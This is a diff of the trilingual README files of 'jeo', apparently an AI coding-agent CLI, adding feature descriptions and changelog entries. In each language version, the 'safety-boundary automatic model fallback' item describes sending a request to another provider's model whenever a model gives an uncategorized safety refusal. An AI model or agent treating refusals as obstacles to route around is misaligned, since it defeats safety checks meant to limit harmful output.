+ - **누적되는 스킬** — 정체된 턴은 이제 그 막다른 지점을 바로 그 스킬의 프로젝트 레벨 파일(`.jeo/skills/<name>.md`, 첫 작성 시 번들 스킬로 시드, 결정론적 키워드 매칭, LLM 미사용)에 기록하므로, 다음 세션의 `$<skill>` 호출은 번들 문서가 영원히 정적으로 남는 대신 누적된 "Known Failure Modes"/"Anti-Patterns" 지식을 함께 가져갑니다. 수동 항목은 `jeo skills lesson <skill> <failure|anti-pattern> "<title>" "<detail>"`로; `jeo skills eval <skill>`은 기록된 각 교훈이 스킬의 현재 가이던스로 여전히 커버되는지 아니면 낡았는지를 실제 LLM 판단으로 확인합니다.
50
+ - **저비용 등급 채점 라우팅** — `/goal` 검증기, `critic` 서브에이전트 역할, 그리고 고정되지 않은 `task` 팬아웃 배치는 채점·실행 대상인 작업과 같은 풀프라이스 모델에 조용히 편승하는 대신 기본적으로 저비용 크레덴셜 모델을 사용합니다(`resolveVerifierModel`, 브라우저 `verify` 액션에 대해서는 비전 능력으로 필터링되어 텍스트 전용 저비용 모델이 첨부된 스크린샷을 조용히 누락시키지 않도록 합니다).
51
+ - **`jeo routine init`** — 스케줄/이슈/PR 트리거에서 jeo를 헤드리스로 실행하는(`jeo "<prompt>" -p`) GitHub Actions 워크플로를 생성합니다, GitHub 자체 러너 위에서 — 노트북이 필요 없고, jeo 내부에 새로운 공격 표면도 전혀 추가되지 않습니다(인프로세스 스케줄러도 웹훅 리스너도 없음). `--dry-run`으로 미리보기, `--no-pr`로 기본값인 실행당 PR 대신 직접 커밋.
49
52
  - **원격 서브에이전트 가시성(Telegram)** — 봇을 한 번 페어링(`jeo notify setup`)하면, `jeo daemon start`가 서브에이전트 상태 전환(시작 → 완료/실패/취소)마다 메시지를 보내고 `/subagents`, `/steer <id> <subagentId> <msg>`, `/cancel <id> <subagentId>`를 되받습니다. 이제 Telegram 포럼 토픽, 인라인 키보드, 이미지 첨부 파일 지원 등 `gjc`와의 완전한 패리티를 제공하며, 명령은 페어링된 채팅에서만 허용됩니다.
53
+ - **실제로 강제되는 독립 검증자** — 플랜은 이제 architect/critic 단계를 건너뛸 수 없습니다: `PlanSchema`는 미검증 변이로 끝나는 모든 플랜을 거부하며(검증 대상 변이보다 앞에 배치된 검증자도 인정하지 않음), `ralplan` 드래프트 시점과 `team`/`approve` 실행 시점 양쪽 모두에 적용됩니다. 모든 architect/critic 평결도 실제 증거를 제시해야 하며, 관찰된 `read`/`search`/`find`/`ast_grep`/`lsp` 호출이 0건이면 텍스트가 무엇을 주장하든 평결이 차단됩니다.
54
+ - **안전 경계 자동 모델 폴백** — 미분류 안전 거부(실제 콘텐츠 정책 위반이 아니라 분류기의 오탐일 가능성)가 발생하면 이제 같은 모델에서 영원히 물러서는 대신 실제로 다른 프로바이더의 모델로 전환합니다 — 기존 rate-limit 빠른 폴백과 동일한 방식입니다. `Refusal (<category>)` 형태의 결정론적 거부는 영향받지 않고 여전히 폴백 없이 하드 실패합니다.
55
+ - **메모리: 획득한 신뢰** — 개념의 검증 날짜는 이제 모든 쓰기 시점이 아니라 증류 패스가 명시적으로 검증됨으로 표시할 때만 기록됩니다. `isConceptStale`은 수동적인 타임스탬프를 신뢰하는 대신 미검증(또는 30일 초과) 개념을 재검증이 필요한 것으로 처리합니다.
56
+ - **동적 워크플로(`eval` 도구)** — 서브에이전트 디스패치 주변에 실제 JS 제어 흐름을 작성합니다: `task(role, taskText, context?)`, `parallel(thunks)`, `pipeline(items, ...stages)`, `log(message)`로 `task`의 단일 스테이지 `tasks[]` 배치로는 표현할 수 없는 순차/분기 오케스트레이션을 구성합니다. 격리된 Worker 스레드에서 진정한 선점형 타임아웃(같은 프로세스 내 경쟁이 아닌 `worker.terminate()`)으로 실행되며 — `bash`와 동일한 풀프로세스 신뢰 수준으로, 샌드박스인 척하지 않고, 동일한 인터뷰 변이 락으로 게이트됩니다.
50
57
 
51
58
 
52
59
  ## 설치
@@ -196,6 +203,15 @@ jeo daemon stop # SIGTERM으로 종료
196
203
  | `/cancel <sessionId> <subagentId>` | 실행 중인 서브에이전트 취소 |
197
204
  | `/help` | 명령 안내 표시 |
198
205
 
206
+ ## 루틴 (GitHub Actions)
207
+
208
+ ```bash
209
+ jeo routine init --trigger schedule --cron "0 7 * * *" --prompt "Re-run the eval suite and post a digest" --dry-run
210
+ jeo routine init --trigger issues --prompt "Triage this issue" --name "issue-triage"
211
+ ```
212
+
213
+ GitHub Actions 워크플로(`.github/workflows/<name>.yml`)를 생성해 jeo를 설치하고 `schedule` / `issues` / `pull_request`에서 헤드리스로 실행합니다(`jeo "<prompt>" -p`) — 수동 테스트 실행을 위해 항상 `workflow_dispatch`와 함께 짝지어집니다 — GitHub 자체 호스팅 러너 위에서. 이것이 jeo의 "노트북 없이 동작"하는 이야기입니다: jeo 자체 내부에 인프로세스 스케줄러도, 웹훅 리스너도, 코드 실행 샌드박스도 없습니다 — GitHub의 인프라가 트리거를 담당하고, jeo는 기존 헤드리스 모드를 그대로 실행할 뿐입니다. 기본적으로 변경사항이 있으면 PR을 엽니다(`peter-evans/create-pull-request`, diff가 비어 있으면 안전하게 no-op); `--no-pr`은 대신 트리거한 브랜치에 직접 커밋합니다. `--dry-run`은 YAML을 작성하지 않고 출력만 합니다; 동일한 `--out` 경로에서 `jeo routine init`을 재실행하면 `--force` 없이는 덮어쓰기를 거부합니다. 워크플로의 첫 실제 실행 전에 저장소 시크릿 `ANTHROPIC_API_KEY`(또는 `--api-key-env <VAR>`)를 설정하세요.
214
+
199
215
  ## 로컬 모델
200
216
 
201
217
  ```bash
@@ -266,11 +282,11 @@ CI는 `.github/workflows/npm-publish.yml`로 배포합니다 — GitHub 릴리
266
282
  ## 변경 이력 (Changelog)
267
283
 
268
284
  <!-- CHANGELOG:START (auto-generated from CHANGELOG.md — run `bun run changelog:sync`) -->
285
+ - **[0.8.24]** (2026-07-13) — Follow-up gap analysis against the same external "self-improving agent system" framework (Fable-5-style loops), continuing 0.8.23's audit into 4 more primitives: independent-verifier ENFORCEMENT (0.8.23 had the gate logic but nothing forced a plan to actually contain one), model-tier safety-boundary fallback (a false-positive safety refusal previously backed off forever on the SAME model instead of trying a genuinely different one — the pattern already shipped for rate limits), memory confidence that was self-assigned once instead of earned via a real verification event, and Dynamic Workflows (jeo had parallel fan-out but no sequential composition or real control flow across subagent calls). Closed all 4, the last one non-trivially: an in-process `AsyncFunction` (the same pattern `browser {run}` already ships) cannot be given a real wall-clock timeout — a synchronous bug in agent-authored code blocks jeo's own event loop forever, and `Promise.race` can never preempt it (verified empirically). Fixed by running Dynamic Workflows scripts in an isolated `Worker` (a genuinely separate OS thread `worker.terminate()` can preempt unconditionally, mirroring `bashTool`'s own SIGTERM/SIGKILL escalation on a spawned process) with `task()` bridged back to the main thread over a `postMessage` RPC — config/credentials never leave the main thread, and every dispatch (however the script shapes it) stays bounded by a real concurrency semaphore, not just a per-call count cap.
286
+ - **[0.8.23]** (2026-07-12) — Gap analysis against an external "self-improving agent system" framework (Fable-5-style loops: independent verifiers, memory compounding, model-tier cost discipline, and scheduled routines) found jeo-code already had strong equivalents for most primitives — but 3 real gaps and 1 deliberately-scoped-safe gap. Closed all 4: skills that were "hand-authored, read-mostly, zero learning" now compound from real session failures; screenshots that were captured but never judged now close a real vision-verify loop; the `/goal` verifier and bulk fan-out dispatch that silently rode the same full-price model as the work they graded/executed now default to a cheap tier; and "runs without your laptop" is now achievable via a generated GitHub Actions template wrapping jeo's existing headless mode — with zero new attack surface inside jeo-code itself (no code-exec sandbox, no in-process scheduler/webhook receiver, both deliberately rejected as out of scope). Also absorbs 3 fixes shipped after 0.8.22 but never changelogged: a rate-limit fast-fallback audit that closed 4 real gaps, plus the cross-file `mock.module()` test-isolation class this release's own test additions collided with and fixed at its root cause.
269
287
  - **[0.8.22]** (2026-07-11) — A rescan of the working tree turned up a resume-fidelity gap plus two unwired TUI safety-net helpers left by a concurrent session; each was traced, wired where needed, and verified before shipping.
270
288
  - **[0.8.21]** (2026-07-10) — "반영할꺼 같은방식으로 체크하고 배포까지" — a rescan of the working tree (after the prior audit pass) turned up 15 uncommitted files: 3 genuinely distinct features left unwired by a concurrent session, partially casualty of an earlier accidental `git checkout` incident this session (disclosed in the 0.8.20 entry above). Each was independently traced from its existing plumbing, wired to a real call site, tested, and one live-verified end-to-end over a real PTY before shipping.
271
289
  - **[0.8.20]** (2026-07-10) — "모든 검증 다시 리뷰하고 변경사항 모두 체크해" — 4 fresh, skeptical subagents independently re-audited every change from v0.8.17-0.8.19 (bc8768f..92c6b7d) with zero trust in prior claims: a code-correctness auditor manually traced the Antigravity routing logic against the live catalog, a test-integrity auditor mutation-tested the new tests (confirmed each one genuinely fails when its fix is reverted) and ran the suite fresh, a live-behavior verifier re-reproduced all 4 behavioral claims from scratch with self-generated data (own session ids, own mock server, own HTTP status code), and a docs-accuracy auditor cross-checked every README/CHANGELOG claim against current code in isolated git worktrees. Verdict: all core logic and tests GENUINE/CONFIRMED CORRECT — but the audit surfaced 1 real doc staleness gap, 1 changelog count error, and 2 minor precision gaps, all fixed here.
272
- - **[0.8.19]** (2026-07-09) — "프롬프트 라우팅에 안티그라비티 프로바이더의 경우, 안티그라비티용 소넷과 오퍼스도 3.5급으로 라우팅될수있도록해줘" — Antigravity re-exports 3 distinct model families (Anthropic Claude, Google Gemini, OpenAI GPT-OSS) behind one credential, structurally unlike every other provider. `high`/`complex` tier auto-select always resolved to Google's Gemini 3.5 rows: Anthropic's real 64,000-token output ceiling lost a same-thinking-tier tie to Google's 65,536 by a margin with no practical significance, and Gemini's 1M-token context further outranked Claude's real 200K window — so `antigravity/claude-sonnet-4-6`/`antigravity/claude-opus-4-6-thinking` were NEVER reachable through auto-select, even though both were already correctly `sizeClass`-tagged into the `high`/`complex` pools.
273
- - **[0.8.18]** (2026-07-09) — "라우팅 매 프롬프트마다 변경되는지, route why 의도대로 동작하는지 검증하고 배포할게있는지 확인해줘" — 2 parallel subagents live-verified per-prompt routing + `/route why` (including the previously-only-unit-tested post-call equivalent-model fallback path, now reproduced against a real mock 500-error server) and audited a disconnected `RouteHistory` class shipped as incomplete scaffolding in 0.8.16/0.8.17 (class + 11 tests existed, but nothing ever called it — no `/route history` subcommand, no wiring into the turn loop). Live testing also surfaced one real bug: the TUI footer's model/provider label never updated after a mid-turn fallback, staying on the pre-fallback model for the rest of that turn's render even though the backend decision (`lastRouteDecision`) was already correct.
274
290
 
275
291
  See [CHANGELOG.md](CHANGELOG.md) for the full history.
276
292
  <!-- CHANGELOG:END -->
package/README.md CHANGED
@@ -50,8 +50,15 @@ Run `jeo` inside a repository and it reads files, edits them, runs commands, and
50
50
  - **Crash-durable, local-first** — all state under `.jeo/` with atomic writes, cross-process run locks, failed-task markers with partial-edit warnings on resume.
51
51
  - **Dynamic step budget** — turns extend while the tool window shows novel progress and consolidate gracefully when stalled; subagents keep exact step contracts.
52
52
  - **Inline TUI** — completed work flushes into real scrollback (tmux wheel works mid-turn), the normal query input box stays visible and editable while the agent runs, Ctrl+O toggles full detail, themes, clipboard image paste (Ctrl+V), CJK/emoji-safe width math.
53
- - **Browser tool** — headless Chromium automation (Playwright) as a first-class agent tool: `open`/`close`/`run`/`act` on named, reused tabs, with `observe`-tagged element ids preferred over screenshots for driving pages. Requires `npx playwright install chromium` once (not bundled — jeo stays zero native deps itself, the browser binary is Playwright's separate download).
53
+ - **Browser tool** — headless Chromium automation (Playwright) as a first-class agent tool: `open`/`close`/`run`/`act` on named, reused tabs, with `observe`-tagged element ids preferred over screenshots for driving pages. `act {verb:"verify", goal, ...}` closes the visual-QA loop: screenshots the page and asks an independent vision-capable model to judge it against a plain-language goal (`{verdict:"PASS"|"MISMATCH", detail}`) instead of requiring a human (or the same agent) to eyeball a saved PNG. Requires `npx playwright install chromium` once (not bundled — jeo stays zero native deps itself, the browser binary is Playwright's separate download).
54
+ - **Skills that compound** — a stalled turn now writes the dead end into the SAME skill's project-level file (`.jeo/skills/<name>.md`, seeded from the bundled skill on first write, deterministic keyword match, no LLM), so the next session's `$<skill>` invocation carries accumulated "Known Failure Modes"/"Anti-Patterns" knowledge instead of the bundled doc staying static forever. `jeo skills lesson <skill> <failure|anti-pattern> "<title>" "<detail>"` for manual entries; `jeo skills eval <skill>` runs a real LLM judgment on whether each recorded lesson is still covered by the skill's current guidance or has gone stale.
55
+ - **Cheap-tier grader routing** — the `/goal` verifier, the `critic` subagent role, and unpinned `task` fan-out batches default to a cheap credentialed model instead of silently riding the same full-price model as the work they're grading/executing (`resolveVerifierModel`, vision-capability-filtered for the browser `verify` action so a text-only cheap model never silently drops an attached screenshot).
56
+ - **`jeo routine init`** — generates a GitHub Actions workflow that runs jeo headlessly (`jeo "<prompt>" -p`) on a schedule/issue/PR trigger, on GitHub's own runners — no laptop required, and zero new attack surface inside jeo itself (no in-process scheduler or webhook listener). `--dry-run` to preview, `--no-pr` for a direct commit instead of the default PR-per-run.
54
57
  - **Remote subagent visibility (Telegram)** — pair a bot once (`jeo notify setup`), then `jeo daemon start` pushes a message on every subagent state edge (started → done/failed/cancelled) and accepts `/subagents`, `/steer <id> <subagentId> <msg>`, `/cancel <id> <subagentId>` back. Telegram Daemon now supports full `gjc` parity, including forum topics, inline keyboards, and image attachments — commands are authorized to the paired chat only.
58
+ - **Independent verifier, actually enforced** — a plan can no longer skip its architect/critic step: `PlanSchema` rejects any plan that ends with an unverified mutation (a verifier placed BEFORE the mutation it should check doesn't count either), at both `ralplan` draft time and `team`/`approve` execution time. Every architect/critic verdict must also show real evidence — zero observed `read`/`search`/`find`/`ast_grep`/`lsp` calls blocks the verdict regardless of what the text claims.
59
+ - **Safety-boundary automatic model fallback** — an uncategorized safety refusal (a possible classifier false positive, not a genuine content-policy hit) now switches to a genuinely different-provider model instead of backing off forever on the same one — mirrors the existing rate-limit fast-fallback. A `Refusal (<category>)`-shaped deterministic hit is untouched and still hard-fails with zero fallback.
60
+ - **Memory: earned confidence** — a concept's verification date is now written only when a distillation pass is explicitly marked verified, not on every write; `isConceptStale` treats an unverified (or >30-day-stale) concept as needing re-verification instead of trusting a passive timestamp.
61
+ - **Dynamic Workflows (`eval` tool)** — write real JS control flow around subagent dispatch: `task(role, taskText, context?)`, `parallel(thunks)`, `pipeline(items, ...stages)`, and `log(message)`, composing sequential/branching orchestration that `task`'s single-stage `tasks[]` batch can't express. Runs in an isolated Worker thread with a genuinely preemptive timeout (`worker.terminate()`, not a same-process race) — same full-process trust as `bash`, no sandbox pretense, gated by the same interview mutation lock.
55
62
 
56
63
 
57
64
  ## Install
@@ -202,6 +209,15 @@ Opt-in and lazy: nothing binds until `notifications.enabled` is set AND a detach
202
209
  | `/cancel <sessionId> <subagentId>` | Cancel a running subagent |
203
210
  | `/help` | Show the command reference |
204
211
 
212
+ ## Routines (GitHub Actions)
213
+
214
+ ```bash
215
+ jeo routine init --trigger schedule --cron "0 7 * * *" --prompt "Re-run the eval suite and post a digest" --dry-run
216
+ jeo routine init --trigger issues --prompt "Triage this issue" --name "issue-triage"
217
+ ```
218
+
219
+ Generates a GitHub Actions workflow (`.github/workflows/<name>.yml`) that installs jeo and runs it headlessly (`jeo "<prompt>" -p`) on `schedule` / `issues` / `pull_request` — always paired with `workflow_dispatch` for a manual test run — on GitHub's own hosted runners. This is jeo's "runs without your laptop" story: no in-process scheduler, no webhook listener, no code-exec sandbox inside jeo itself — GitHub's infrastructure does the triggering, jeo just runs its existing headless mode. Defaults to opening a PR with any changes (`peter-evans/create-pull-request`, a safe no-op when the diff is empty); `--no-pr` commits directly to the triggering branch instead. `--dry-run` prints the YAML without writing it; re-running `jeo routine init` at the same `--out` path refuses to overwrite without `--force`. Set the `ANTHROPIC_API_KEY` (or `--api-key-env <VAR>`) repo secret before the workflow's first real run.
220
+
205
221
  ## Local models
206
222
 
207
223
  ```bash
@@ -273,11 +289,11 @@ Huge thanks to [gajae-code](https://github.com/Yeachan-Heo/gajae-code) for the i
273
289
  ## Changelog
274
290
 
275
291
  <!-- CHANGELOG:START (auto-generated from CHANGELOG.md — run `bun run changelog:sync`) -->
292
+ - **[0.8.24]** (2026-07-13) — Follow-up gap analysis against the same external "self-improving agent system" framework (Fable-5-style loops), continuing 0.8.23's audit into 4 more primitives: independent-verifier ENFORCEMENT (0.8.23 had the gate logic but nothing forced a plan to actually contain one), model-tier safety-boundary fallback (a false-positive safety refusal previously backed off forever on the SAME model instead of trying a genuinely different one — the pattern already shipped for rate limits), memory confidence that was self-assigned once instead of earned via a real verification event, and Dynamic Workflows (jeo had parallel fan-out but no sequential composition or real control flow across subagent calls). Closed all 4, the last one non-trivially: an in-process `AsyncFunction` (the same pattern `browser {run}` already ships) cannot be given a real wall-clock timeout — a synchronous bug in agent-authored code blocks jeo's own event loop forever, and `Promise.race` can never preempt it (verified empirically). Fixed by running Dynamic Workflows scripts in an isolated `Worker` (a genuinely separate OS thread `worker.terminate()` can preempt unconditionally, mirroring `bashTool`'s own SIGTERM/SIGKILL escalation on a spawned process) with `task()` bridged back to the main thread over a `postMessage` RPC — config/credentials never leave the main thread, and every dispatch (however the script shapes it) stays bounded by a real concurrency semaphore, not just a per-call count cap.
293
+ - **[0.8.23]** (2026-07-12) — Gap analysis against an external "self-improving agent system" framework (Fable-5-style loops: independent verifiers, memory compounding, model-tier cost discipline, and scheduled routines) found jeo-code already had strong equivalents for most primitives — but 3 real gaps and 1 deliberately-scoped-safe gap. Closed all 4: skills that were "hand-authored, read-mostly, zero learning" now compound from real session failures; screenshots that were captured but never judged now close a real vision-verify loop; the `/goal` verifier and bulk fan-out dispatch that silently rode the same full-price model as the work they graded/executed now default to a cheap tier; and "runs without your laptop" is now achievable via a generated GitHub Actions template wrapping jeo's existing headless mode — with zero new attack surface inside jeo-code itself (no code-exec sandbox, no in-process scheduler/webhook receiver, both deliberately rejected as out of scope). Also absorbs 3 fixes shipped after 0.8.22 but never changelogged: a rate-limit fast-fallback audit that closed 4 real gaps, plus the cross-file `mock.module()` test-isolation class this release's own test additions collided with and fixed at its root cause.
276
294
  - **[0.8.22]** (2026-07-11) — A rescan of the working tree turned up a resume-fidelity gap plus two unwired TUI safety-net helpers left by a concurrent session; each was traced, wired where needed, and verified before shipping.
277
295
  - **[0.8.21]** (2026-07-10) — "반영할꺼 같은방식으로 체크하고 배포까지" — a rescan of the working tree (after the prior audit pass) turned up 15 uncommitted files: 3 genuinely distinct features left unwired by a concurrent session, partially casualty of an earlier accidental `git checkout` incident this session (disclosed in the 0.8.20 entry above). Each was independently traced from its existing plumbing, wired to a real call site, tested, and one live-verified end-to-end over a real PTY before shipping.
278
296
  - **[0.8.20]** (2026-07-10) — "모든 검증 다시 리뷰하고 변경사항 모두 체크해" — 4 fresh, skeptical subagents independently re-audited every change from v0.8.17-0.8.19 (bc8768f..92c6b7d) with zero trust in prior claims: a code-correctness auditor manually traced the Antigravity routing logic against the live catalog, a test-integrity auditor mutation-tested the new tests (confirmed each one genuinely fails when its fix is reverted) and ran the suite fresh, a live-behavior verifier re-reproduced all 4 behavioral claims from scratch with self-generated data (own session ids, own mock server, own HTTP status code), and a docs-accuracy auditor cross-checked every README/CHANGELOG claim against current code in isolated git worktrees. Verdict: all core logic and tests GENUINE/CONFIRMED CORRECT — but the audit surfaced 1 real doc staleness gap, 1 changelog count error, and 2 minor precision gaps, all fixed here.
279
- - **[0.8.19]** (2026-07-09) — "프롬프트 라우팅에 안티그라비티 프로바이더의 경우, 안티그라비티용 소넷과 오퍼스도 3.5급으로 라우팅될수있도록해줘" — Antigravity re-exports 3 distinct model families (Anthropic Claude, Google Gemini, OpenAI GPT-OSS) behind one credential, structurally unlike every other provider. `high`/`complex` tier auto-select always resolved to Google's Gemini 3.5 rows: Anthropic's real 64,000-token output ceiling lost a same-thinking-tier tie to Google's 65,536 by a margin with no practical significance, and Gemini's 1M-token context further outranked Claude's real 200K window — so `antigravity/claude-sonnet-4-6`/`antigravity/claude-opus-4-6-thinking` were NEVER reachable through auto-select, even though both were already correctly `sizeClass`-tagged into the `high`/`complex` pools.
280
- - **[0.8.18]** (2026-07-09) — "라우팅 매 프롬프트마다 변경되는지, route why 의도대로 동작하는지 검증하고 배포할게있는지 확인해줘" — 2 parallel subagents live-verified per-prompt routing + `/route why` (including the previously-only-unit-tested post-call equivalent-model fallback path, now reproduced against a real mock 500-error server) and audited a disconnected `RouteHistory` class shipped as incomplete scaffolding in 0.8.16/0.8.17 (class + 11 tests existed, but nothing ever called it — no `/route history` subcommand, no wiring into the turn loop). Live testing also surfaced one real bug: the TUI footer's model/provider label never updated after a mid-turn fallback, staying on the pre-fallback model for the rest of that turn's render even though the backend decision (`lastRouteDecision`) was already correct.
281
297
 
282
298
  See [CHANGELOG.md](CHANGELOG.md) for the full history.
283
299
  <!-- CHANGELOG:END -->
package/README.zh.md CHANGED
@@ -45,8 +45,15 @@
45
45
  - **崩溃耐久、本地优先** — 全部状态位于 `.jeo/`,原子写入、跨进程运行锁、失败任务标记 + 恢复时的部分编辑警告。
46
46
  - **动态步数预算** — 只要近期工具调用展现新的进展就持续延长,停滞时优雅收敛为总结;子代理保持精确的步数契约。
47
47
  - **内联 TUI** — 已完成的工作流入真实滚动缓冲区(回合中也可用 tmux 滚轮),代理运行时普通查询输入框仍保持可见并可编辑。Ctrl+O 详细信息切换、主题、剪贴板图片粘贴(Ctrl+V)、CJK/表情安全的宽度计算。
48
- - **浏览器工具** — 基于 Playwright 的无头 Chromium 自动化,作为一等代理工具:对命名并复用的标签页执行 `open`/`close`/`run`/`act`,优先使用 `observe` 标记的元素 id 而非截图来驱动页面。需要执行一次 `npx playwright install chromium`(未捆绑 — jeo 本身仍是零原生依赖,浏览器二进制文件是 Playwright 的独立下载项)。
48
+ - **浏览器工具** — 基于 Playwright 的无头 Chromium 自动化,作为一等代理工具:对命名并复用的标签页执行 `open`/`close`/`run`/`act`,优先使用 `observe` 标记的元素 id 而非截图来驱动页面。`act {verb:"verify", goal, ...}` 闭合了可视化 QA 循环:对页面截图,并让一个独立的、具备视觉能力的模型依据一句大白话目标来判断(`{verdict:"PASS"|"MISMATCH", detail}`),不再需要人工(或同一个代理)去肉眼核对保存下来的 PNG。需要执行一次 `npx playwright install chromium`(未捆绑 — jeo 本身仍是零原生依赖,浏览器二进制文件是 Playwright 的独立下载项)。
49
+ - **持续积累的技能** — 卡壳的一轮现在会把死胡同写入同一个技能的项目级文件(`.jeo/skills/<name>.md`,首次写入时从内置技能播种,采用确定性关键词匹配,不使用 LLM),因此下一个会话的 `$<skill>` 调用会带上累积的"Known Failure Modes"/"Anti-Patterns"知识,而不是让内置文档永远保持静态。手动记录用 `jeo skills lesson <skill> <failure|anti-pattern> "<title>" "<detail>"`;`jeo skills eval <skill>` 会运行一次真正的 LLM 判断,检查每条已记录的经验是否仍被技能当前的指引覆盖,还是已经过时。
50
+ - **低价位评分模型路由** — `/goal` 验证器、`critic` 子代理角色,以及未锁定的 `task` 扇出批次,现在默认使用低价位、已配置凭证的模型,而不是悄悄搭乘与它们所评分/执行的工作相同的全价模型(`resolveVerifierModel`,针对浏览器 `verify` 动作按视觉能力过滤,确保纯文本的低价模型不会悄悄丢弃附带的截图)。
51
+ - **`jeo routine init`** — 生成一个 GitHub Actions 工作流,在 schedule/issue/PR 触发器上以无头模式运行 jeo(`jeo "<prompt>" -p`),运行在 GitHub 自己的 runner 上 — 不需要笔记本电脑,并且不会给 jeo 自身增加任何新的攻击面(没有进程内调度器或 webhook 监听器)。`--dry-run` 可预览,`--no-pr` 则改为直接提交而非默认的每次运行一个 PR。
49
52
  - **远程子代理可见性(Telegram)** — 配对一次机器人(`jeo notify setup`)后,`jeo daemon start` 会在子代理每次状态变化(启动 → 完成/失败/取消)时推送消息,并接受 `/subagents`、`/steer <id> <subagentId> <msg>`、`/cancel <id> <subagentId>` 回传。现在提供 Telegram 论坛主题、内联键盘、图片附件等完整 `gjc` parity;命令仅对配对的聊天授权。
53
+ - **独立验证器,真正强制执行** — 计划再也无法跳过 architect/critic 步骤: `PlanSchema` 会拒绝任何以未验证变更结尾的计划(把验证器放在它该检查的变更之前也不算数),在 `ralplan` 起草阶段和 `team`/`approve` 执行阶段都强制生效。每一次 architect/critic 裁决也都必须展示真实证据 — 观测到的 `read`/`search`/`find`/`ast_grep`/`lsp` 调用为零,无论文本怎么声称,裁决都会被拦下。
54
+ - **安全边界自动模型回退** — 未分类的安全拒绝(可能是分类器误报,而非真实的内容策略命中)现在会切换到真正不同提供商的模型,而不是在同一个模型上无限退让 — 与现有的 rate-limit 快速回退是同一套模式。`Refusal (<category>)` 这种形态的确定性拒绝不受影响,仍然零回退硬失败。
55
+ - **内存: 应得的信任** — 概念的验证日期现在只在蒸馏阶段被明确标记为已验证时才会写入,而不是每次写入都记录;`isConceptStale` 把未验证(或超过 30 天过期)的概念视为需要重新验证,而不是信任一个被动的时间戳。
56
+ - **动态工作流(`eval` 工具)** — 围绕子代理派遣编写真正的 JS 控制流: `task(role, taskText, context?)`、`parallel(thunks)`、`pipeline(items, ...stages)`、`log(message)`,组合出 `task` 单阶段 `tasks[]` 批次无法表达的顺序/分支编排。运行在隔离的 Worker 线程中,具备真正的抢占式超时(`worker.terminate()`,而非同进程内的竞争) — 与 `bash` 同等的全进程信任级别,不假装沙箱,受同一个 interview 变更锁门控。
50
57
 
51
58
  ## 安装
52
59
 
@@ -195,6 +202,15 @@ jeo daemon stop # 发送 SIGTERM 停止
195
202
  | `/cancel <sessionId> <subagentId>` | 取消正在运行的子代理 |
196
203
  | `/help` | 显示命令参考 |
197
204
 
205
+ ## 例行任务 (GitHub Actions)
206
+
207
+ ```bash
208
+ jeo routine init --trigger schedule --cron "0 7 * * *" --prompt "Re-run the eval suite and post a digest" --dry-run
209
+ jeo routine init --trigger issues --prompt "Triage this issue" --name "issue-triage"
210
+ ```
211
+
212
+ 生成一个 GitHub Actions 工作流(`.github/workflows/<name>.yml`),安装 jeo 并在 `schedule` / `issues` / `pull_request` 上以无头模式运行它(`jeo "<prompt>" -p`)— 始终与 `workflow_dispatch` 搭配,便于手动测试运行 — 运行在 GitHub 自己的托管 runner 上。这就是 jeo "无需笔记本电脑运行"的故事:jeo 自身内部没有进程内调度器、没有 webhook 监听器、没有代码执行沙箱 — 由 GitHub 的基础设施负责触发,jeo 只是运行它现有的无头模式。默认在有任何变更时开一个 PR(`peter-evans/create-pull-request`,diff 为空时是安全的空操作);`--no-pr` 则改为直接提交到触发分支。`--dry-run` 只打印 YAML 而不写入;在相同的 `--out` 路径上重新运行 `jeo routine init`,若不加 `--force` 会拒绝覆盖。请在工作流首次真正运行前,设置好仓库密钥 `ANTHROPIC_API_KEY`(或 `--api-key-env <VAR>`)。
213
+
198
214
  ## 本地模型
199
215
 
200
216
  ```bash
@@ -265,11 +281,11 @@ CI 通过 `.github/workflows/npm-publish.yml` 发布 — GitHub 发布 release
265
281
  ## 更新日志 (Changelog)
266
282
 
267
283
  <!-- CHANGELOG:START (auto-generated from CHANGELOG.md — run `bun run changelog:sync`) -->
284
+ - **[0.8.24]** (2026-07-13) — Follow-up gap analysis against the same external "self-improving agent system" framework (Fable-5-style loops), continuing 0.8.23's audit into 4 more primitives: independent-verifier ENFORCEMENT (0.8.23 had the gate logic but nothing forced a plan to actually contain one), model-tier safety-boundary fallback (a false-positive safety refusal previously backed off forever on the SAME model instead of trying a genuinely different one — the pattern already shipped for rate limits), memory confidence that was self-assigned once instead of earned via a real verification event, and Dynamic Workflows (jeo had parallel fan-out but no sequential composition or real control flow across subagent calls). Closed all 4, the last one non-trivially: an in-process `AsyncFunction` (the same pattern `browser {run}` already ships) cannot be given a real wall-clock timeout — a synchronous bug in agent-authored code blocks jeo's own event loop forever, and `Promise.race` can never preempt it (verified empirically). Fixed by running Dynamic Workflows scripts in an isolated `Worker` (a genuinely separate OS thread `worker.terminate()` can preempt unconditionally, mirroring `bashTool`'s own SIGTERM/SIGKILL escalation on a spawned process) with `task()` bridged back to the main thread over a `postMessage` RPC — config/credentials never leave the main thread, and every dispatch (however the script shapes it) stays bounded by a real concurrency semaphore, not just a per-call count cap.
285
+ - **[0.8.23]** (2026-07-12) — Gap analysis against an external "self-improving agent system" framework (Fable-5-style loops: independent verifiers, memory compounding, model-tier cost discipline, and scheduled routines) found jeo-code already had strong equivalents for most primitives — but 3 real gaps and 1 deliberately-scoped-safe gap. Closed all 4: skills that were "hand-authored, read-mostly, zero learning" now compound from real session failures; screenshots that were captured but never judged now close a real vision-verify loop; the `/goal` verifier and bulk fan-out dispatch that silently rode the same full-price model as the work they graded/executed now default to a cheap tier; and "runs without your laptop" is now achievable via a generated GitHub Actions template wrapping jeo's existing headless mode — with zero new attack surface inside jeo-code itself (no code-exec sandbox, no in-process scheduler/webhook receiver, both deliberately rejected as out of scope). Also absorbs 3 fixes shipped after 0.8.22 but never changelogged: a rate-limit fast-fallback audit that closed 4 real gaps, plus the cross-file `mock.module()` test-isolation class this release's own test additions collided with and fixed at its root cause.
268
286
  - **[0.8.22]** (2026-07-11) — A rescan of the working tree turned up a resume-fidelity gap plus two unwired TUI safety-net helpers left by a concurrent session; each was traced, wired where needed, and verified before shipping.
269
287
  - **[0.8.21]** (2026-07-10) — "반영할꺼 같은방식으로 체크하고 배포까지" — a rescan of the working tree (after the prior audit pass) turned up 15 uncommitted files: 3 genuinely distinct features left unwired by a concurrent session, partially casualty of an earlier accidental `git checkout` incident this session (disclosed in the 0.8.20 entry above). Each was independently traced from its existing plumbing, wired to a real call site, tested, and one live-verified end-to-end over a real PTY before shipping.
270
288
